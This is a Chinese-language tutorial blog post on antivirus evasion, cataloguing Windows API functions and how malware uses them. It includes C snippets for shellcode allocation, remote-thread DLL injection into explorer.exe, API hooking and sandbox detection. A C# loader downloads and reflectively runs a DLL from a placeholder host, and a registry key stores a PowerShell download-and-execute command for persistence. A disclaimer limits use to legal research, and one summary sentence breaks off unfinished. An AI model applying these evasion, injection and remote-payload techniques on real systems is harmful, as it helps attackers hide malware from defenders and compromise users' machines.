AI摘要:本文章介绍了免杀技术中常用的Windows API函数及其应用,涵盖内存操作、动态加载、进程操作、文件操作等。文中详细阐述了如何利用这些函数进行代码注入、隐藏恶意行为、规避沙箱检测和实现无文件持久化。强调了内存执行、进程注入、沙箱规避和无文件恶意软件等关键策略,并指出需结合多种技术以应对不断更新的杀毒软件。
班门弄斧,大佬别喷我
免杀常用Windows API函数及其作用
以下是免杀开发中常用的Windows API函数,按功能分类,涵盖内存操作、动态加载、进程操作、文件操作等场景。这些函数在Windows编程中广泛使用,但在免杀中被赋予了特定的用途。以下表格总结了主要函数及其应用:
类别 | 常用函数 | 功能描述 | 免杀应用 |
---|---|---|---|
内存操作 | VirtualAlloc, VirtualProtect, WriteProcessMemory | 分配/修改内存权限,向进程内存写入数据 | 分配可执行内存,存储Shellcode或注入代码 |
动态加载 | LoadLibrary, GetProcAddress, FreeLibrary | 加载DLL,获取函数地址,释放DLL | 动态调用API,隐藏导入表,清理痕迹 |
进程操作 | CreateProcess, OpenProcess, CreateRemoteThread | 创建/打开进程,在目标进程创建线程 | 进程注入,执行恶意代码 |
文件操作 | CreateFile, ReadFile, WriteFile | 创建/打开文件,读写文件内容 | 加载加密文件,动态解密载荷 |
加密与辅助 | CryptEncrypt, CryptDecrypt, Sleep | 加密/解密数据,延迟执行 | 隐藏特征,规避沙箱分析 |
注册表操作 | RegSetValueEx, RegCreateKeyEx, RegOpenKeyEx | 设置/创建/打开注册表键值 | 持久化,修改系统设置 |
系统信息 | IsDebuggerPresent, GetSystemInfo | 检测调试器,获取系统信息 | 环境检测,调整行为以绕过沙箱 |
文件管理 | DeleteFile, MoveFile, CopyFile | 删除/移动/复制文件 | 隐藏恶意文件,持久化 |
输入与网络 | GetAsyncKeyState, HttpSendRequestEx | 获取键盘状态,发送HTTP请求 | 键录入窃取,C2通信 |
详细函数说明
以下按类别详细介绍各函数及其在免杀中的应用,包含示例代码以帮助理解(示例代码基于C语言,供参考):
内存操作相关函数
内存操作是免杀的核心,恶意代码通常在内存中动态加载和执行,以规避文件扫描。VirtualAlloc
:为进程分配虚拟内存,常用于存储解密后的Shellcode。示例:
LPVOID VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- 免杀应用:分配可执行内存,存储动态加载的DLL。
VirtualProtect
:修改内存区域的保护属性,使其可执行。示例:
BOOL VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READ, &oldProtect);
- 免杀应用:修改权限以执行注入的代码。
WriteProcessMemory
:向目标进程内存写入数据,常用于远程线程注入。示例:
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, NULL);
- 免杀应用:将加密代码解密并写入内存。
动态加载相关函数
动态加载DLL或函数可减少静态特征,降低检测概率。LoadLibrary
:加载指定的DLL到进程地址空间。示例:
HMODULE hModule = LoadLibrary("kernel32.dll");
- 免杀应用:延迟加载DLL,隐藏导入表。
GetProcAddress
:获取DLL中函数的地址,避免硬编码。示例:
FARPROC pFunc = GetProcAddress(hModule, "VirtualAlloc");
- 免杀应用:动态调用API,规避静态分析。
FreeLibrary
:释放已加载的DLL,清理内存痕迹。示例:
FreeLibrary(hModule);
- 免杀应用:减少运行痕迹,降低检测风险。
进程操作相关函数
进程操作用于代码注入或隐藏,常用于远程线程注入等技术。CreateProcess
:创建新进程,用于后续注入。示例:
CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- 免杀应用:创建挂起进程,注入恶意代码。
OpenProcess
:打开目标进程获取句柄。示例:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
- 免杀应用:获取系统进程句柄(如explorer.exe)进行操作。
CreateRemoteThread
:在目标进程创建线程,执行Shellcode。示例:
CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, NULL, 0, NULL);
- 免杀应用:结合WriteProcessMemory实现远程线程注入。
文件操作相关函数
文件操作用于加载或隐藏恶意文件,动态解密载荷。CreateFile
:创建或打开文件,读写加密的恶意文件。示例:
HANDLE hFile = CreateFile("malware.dat", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
- 免杀应用:加载加密的恶意载荷。
ReadFile
/WriteFile
:读写文件内容,动态解密。示例:
ReadFile(hFile, lpBuffer, dwSize, &dwRead, NULL);
- 免杀应用:读取加密文件,写入临时文件。
其他辅助函数
这些函数用于加密、延迟执行等辅助功能,增强免杀效果。CryptEncrypt
/CryptDecrypt
:加密/解密数据,隐藏特征。示例:
CryptEncrypt(hKey, 0, TRUE, 0, pbData, &dwDataLen, dwBufLen);
- 免杀应用:对Shellcode加密,动态解密后执行。
Sleep
:暂停程序执行,延迟以规避沙箱。示例:
Sleep(60000); // 延迟1分钟
- 免杀应用:通过延迟执行绕过沙箱时间限制。
免杀中函数的使用技巧
研究显示,免杀效果依赖于函数的灵活运用,以下是常见技巧:
动态调用API:避免硬编码,使用
LoadLibrary
和GetProcAddress
动态加载API,示例:HMODULE hKernel32 = LoadLibrary("kernel32.dll"); FARPROC pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
- 代码混淆:对函数名、字符串加密存储,运行时解密调用,使用XOR或RC4算法。
- 内存执行:将恶意代码以Shellcode形式存储,流程为
VirtualAlloc
->WriteProcessMemory
->CreateRemoteThread
。 规避沙箱:使用
Sleep
或环境检测(如检查CPU核心数),示例:Sleep(60000); // 延迟1分钟
清理痕迹:使用
FreeLibrary
、VirtualFree
释放内存,减少运行痕迹。内存执行与.NET反射:内存中的动态加载
内存执行是高级免杀策略的核心,通过在内存中直接加载和执行恶意代码,规避基于文件的检测。研究显示,这种方法特别适用于绕过实时保护(如Windows Defender的实时扫描)。
.NET反射技术:
- 原理:利用PowerShell和.NET框架,可以在内存中加载并执行C#程序集(Assembly),无需将代码写入磁盘。这种方法依赖于Windows的内存管理和进程机制,虽然.NET反射本身不直接涉及Windows API,但其底层依赖于Windows API的支持。
- Windows API相关:虽然.NET反射主要通过.NET框架实现,但其依赖的内存操作(如加载DLL到内存)涉及
VirtualAlloc
和VirtualProtect
等API。PowerShell的执行环境也依赖于Windows的进程管理。 实现步骤:
- 使用
WebClient.DownloadData
从远程服务器获取C# DLL。 - 通过
Assembly.Load
在内存中加载DLL。 - 使用反射机制(如
Object.GetType
、Type.GetMethod
、MethodBase.Invoke
)动态调用方法。
- 使用
示例代码:
// 使用WebClient下载DLL byte[] dllData = new WebClient().DownloadData("http://example.com/malware.dll"); // 在内存中加载DLL Assembly asm = Assembly.Load(dllData); // 获取类型并调用方法 Type type = asm.GetType("MalwareClass"); MethodInfo method = type.GetMethod("Run"); method.Invoke(null, null);
- 免杀应用:这种方法完全在内存中执行,避免了文件写入磁盘的风险,尤其适用于绕过实时保护。
进程注入与API钩子:隐藏恶意行为的伪装
进程注入是另一种高级免杀技术,通过将恶意代码注入到合法进程中执行,可以隐藏恶意行为的特征,规避行为分析。
经典DLL注入:
- 原理:使用Windows API函数
WriteProcessMemory
将恶意DLL的路径写入目标进程的内存,然后通过CreateRemoteThread
在目标进程中创建一个远程线程,加载并执行恶意DLL。 Windows API相关:
OpenProcess
:打开目标进程获取句柄。WriteProcessMemory
:将恶意代码写入目标进程的内存。CreateRemoteThread
:在目标进程中创建线程,执行注入的代码。
实现步骤:
- 打开目标进程(如
explorer.exe
),获取其句柄。 - 分配内存并写入恶意DLL路径。
- 创建远程线程,调用
LoadLibraryA
加载DLL。
- 打开目标进程(如
示例代码:
// 打开目标进程 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); // 写入恶意DLL路径 WriteProcessMemory(hProcess, lpRemoteMemory, "C:\\malware.dll", strlen("C:\\malware.dll"), NULL); // 创建远程线程加载DLL CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpRemoteMemory, 0, NULL);
- 免杀应用:注入到合法进程中,可以伪装恶意行为,使其被视为正常进程,降低行为分析的检测率。
- 原理:使用Windows API函数
API钩子(API Hooking):
- 原理:通过修改目标进程中Windows API函数的地址表(IAT)或导出表(EAT),拦截并重定向API调用。例如,拦截
CreateFileA
以隐藏文件操作。 Windows API相关:
GetModuleHandle
:获取目标DLL的句柄。GetProcAddress
:获取API函数的地址。WriteProcessMemory
:修改目标进程的内存,替换API函数的地址。
示例代码:
// 获取目标进程的句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); // 获取目标DLL的基址 HMODULE hMod = GetModuleHandle("kernel32.dll"); // 获取API函数地址 FARPROC pOriginal = GetProcAddress(hMod, "CreateFileA"); // 替换为钩子函数地址 WriteProcessMemory(hProcess, pOriginal, pHookFunction, sizeof(pHookFunction), NULL);
- 免杀应用:通过钩子,可以拦截敏感API调用(如文件操作或网络请求),从而隐藏恶意行为,增强隐蔽性。
- 原理:通过修改目标进程中Windows API函数的地址表(IAT)或导出表(EAT),拦截并重定向API调用。例如,拦截
- 相关研究:MDPI的研究(Antivirus Evasion Methods in Modern Operating Systems)指出,进程注入是常见的免杀技术,特别是在结合其他混淆方法时效果更佳。实验结果显示,工具如Shellter在进程注入中表现出色,静态扫描逃过5/6杀毒软件,使用.raw扩展名时在静态和运行时扫描中逃过半数杀毒软件。
沙箱检测与规避:对抗行为分析
现代杀毒软件和沙箱环境(如Cuckoo Sandbox)使用行为分析来检测恶意代码,因此,识别并规避沙箱环境成为一种高级免杀策略。
沙箱检测方法:
检查系统信息:
- 使用
GetSystemInfo
获取系统信息(如CPU核心数、内存大小),与典型沙箱环境(通常为虚拟机)进行比较。 示例代码:
SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); if (sysInfo.dwNumberOfProcessors < 4) { // 可能为沙箱环境 }
- 使用
检查进程列表:
- 使用
CreateToolhelp32Snapshot
和Process32First
枚举进程列表,检查是否存在典型沙箱进程(如vmtoolsd.exe
)。 示例代码:
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe); do { if (strcmp(pe.szExeFile, "vmtoolsd.exe") == 0) { // 可能为沙箱环境 } } while (Process32Next(hSnapshot, &pe));
- 使用
检查文件系统:
- 使用
GetVolumeInformation
检查磁盘信息,沙箱环境通常使用虚拟磁盘。 示例代码:
char volName[MAX_PATH]; GetVolumeInformation("C:\\", volName, MAX_PATH, NULL, NULL, NULL, NULL, 0); if (strcmp(volName, "WindowsVM") == 0) { // 可能为沙箱环境 }
- 使用
规避策略:
- 延迟执行:使用
Sleep
函数延迟执行,超过沙箱的分析时间限制。 - 动态行为:在检测到非沙箱环境后才执行恶意代码。
- 非模拟API:使用不常被沙箱模拟的Win32 API(如
VirtualAllocExNuma
、FlsAlloc
),增加检测难度。
- 延迟执行:使用
文件less恶意软件与注册表操作:无文件痕迹的持久化
文件less恶意软件(Fileless Malware)是当前免杀技术的趋势,通过利用系统合法组件(如PowerShell、WMI)在内存中执行代码,避免文件扫描。
注册表操作:
- 原理:利用Windows注册表存储恶意代码或配置信息,然后通过系统组件(如PowerShell)动态执行。
Windows API相关:
RegCreateKeyEx
:创建注册表键。RegSetValueEx
:设置注册表值。RegOpenKeyEx
:打开注册表键。
实现步骤:
- 创建注册表键存储PowerShell命令。
- 系统启动时通过PowerShell执行命令。
示例代码:
HKEY hKey; RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Malware", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); RegSetValueEx(hKey, "Payload", 0, REG_SZ, (LPBYTE)"powershell -c IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')", NULL); RegCloseKey(hKey);
- 免杀应用:通过注册表持久化恶意代码,并在系统启动时通过PowerShell执行,规避文件扫描。
总结
免杀技术需要结合多种策略,包括内存执行、进程注入、沙箱规避和文件less恶意软件。以下是关键要点:
- 内存执行:利用.NET反射或Shellcode在内存中直接执行代码,避免文件扫描。
- 进程注入:通过
WriteProcessMemory
和CreateRemoteThread
将恶意代码注入合法进程。 - 沙箱规避:使用
GetSystemInfo
、CreateToolhelp32Snapshot
等API检测沙箱环境,并通过延迟执行或动态行为
注意事项:
- 免杀技术仅限于合法安全研究,切勿用于恶意攻击,遵守2025年4月21日有效的法律法规。
- 现代杀毒软件不断更新,单一技术可能失效,需结合加壳、变形等技术。
- 深入学习Windows内核编程和PE文件结构,有助于更好地理解和应用这些技术。
关键引用
- Windows API Calls: The Malware Edition
- Antivirus Evasion Techniques
- Antivirus & Malware Evasion Techniques
- 8 most common malware evasion techniques
- The Four Most Common Evasive Techniques Used by Malware
- How to Use Windows API Knowledge to Be a Better Defender
- Defeating Antivirus Real-time Protection From The Inside
- Windows API Hashing in Malware
- Evasion Technique - an overview
- MALWARE DETECTION : EVASION TECHNIQUES
- What Are Some Malware Evasion Techniques?
- Anti-Forensics: An Overview of Evasion Tactics
- Antivirus Evasion Methods Modern Operating Systems MDPI
- Antivirus Malware Evasion Techniques Kaspersky
- Shellter Project Introducing Shellter
- Hyperion Documentation Exploit Database